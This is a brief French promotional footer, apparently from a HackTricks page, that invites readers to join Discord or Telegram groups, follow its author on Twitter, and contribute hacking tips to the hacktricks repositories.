• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PRs au repo hacktricks et au repo hacktricks-cloud.